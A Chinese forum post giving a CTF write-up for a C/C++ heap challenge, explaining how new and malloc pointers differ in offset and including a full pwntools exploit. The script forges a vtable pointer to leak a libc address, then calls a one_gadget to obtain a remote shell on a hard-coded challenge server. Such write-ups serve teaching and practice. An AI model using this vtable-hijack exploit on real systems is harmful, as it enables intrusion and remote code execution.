-
-
[原创]C与C++ WriteUp from W8C.Cossack人人
-
发表于: 2019-3-13 00:31 2977
-
operator new()
与malloc()
返回的指针相对堆头偏移不同。在本题中new object返回的指针指向了单位区块的vtable(chunk_head+0x18),而malloc返回的指针则直接指向了区块的divsize(chunk_head+0x10)。而delete object是通过调用vtable中的二级函数指针来实现,至此,思路已然清晰。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import * from time import sleep import sys context.arch = 'amd64' status = sys.argv[ 1 ] elf = ELF( "./candcpp" ) libc = ELF( "./libc-2.23.so" ) host = "154.8.222.144" port = 9999 main = 0x4009a0 fmtleak = 0x400e10 vtable = 0x401228 name = 0x602328 if status = = 'l' : io = process( "./candcpp" ) elif status = = 'r' : io = remote(host,port) else : info( "INVALID STATUS" ) exit() def choice(c): sleep( 0.1 ) io.sendlineafter( ">> " , str (c)) def malloc(size,string): choice( 1 ) io.sendlineafter( "Please input length of the string\n" , str (size)) io.sendafter( "Please input the string\n" ,string) def new(size,string): choice( 3 ) io.sendlineafter( "Please input length of the string\n" , str (size)) io.sendafter( "Please input the string\n" ,string) def free(index): choice( 2 ) io.sendlineafter( "Please input index of the string\n" , str (index)) def delete(index): choice( 4 ) io.sendlineafter( "Please input index of the string\n" , str (index)) def put(index): choice( 5 ) io.sendlineafter( "Please input index of the string\n" , str (index)) io.sendafter( "Please input your name: " ,p64(fmtleak) + p64(main)[: - 1 ] + '\n' ) malloc( 15 ,p64( 1 ) + p64(name)[: - 2 ] + '\n' ) new( 0x200 , 'AAAAAAAAAAAAAAAA' * 27 + 'AAA' + p64(name + 8 ) + 'AAAAAAA' + p64(name) + '\n' ) delete( 0 ) io.recvuntil( '0x' ) libc_base = int (io.recv( 12 ), 16 ) - libc.sym[ '_IO_puts' ] success( "LIBC BASE -> %#x" % libc_base) one = libc_base + 0xf02a4 io.sendafter( "Please input your name: " ,p64(one) + p64(main)[: - 1 ] + '\n' ) delete( 0 ) io.interactive() |
- 程序 NO PIE,故可以通过
name(0x602328)
来布置二级函数指针。 - 将
name
填充为&fmtleak(0x400e10)
与&main(0x4009a0)
- malloc得到chunk0,这时候企图通过delete chunk0来执行
name
中的函数,于是再new出chunk1,在指定偏移处布置好&name
+8与&name
- delete chunk0 成功泄露出&__IO_puts,得到libc基址,并且进入main函数,可以再次填充
name
- 将
name
填充为one_gadget,调用delete,成功getshell
- 唯一的坑就是这个单位区块组成的对象不方便填充(算'A'个数算skr人)
name(0x602328)
来布置二级函数指针。[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-3-26 00:29
被Cossack人人编辑
,原因:
赞赏
他的文章
赞赏
雪币:
留言: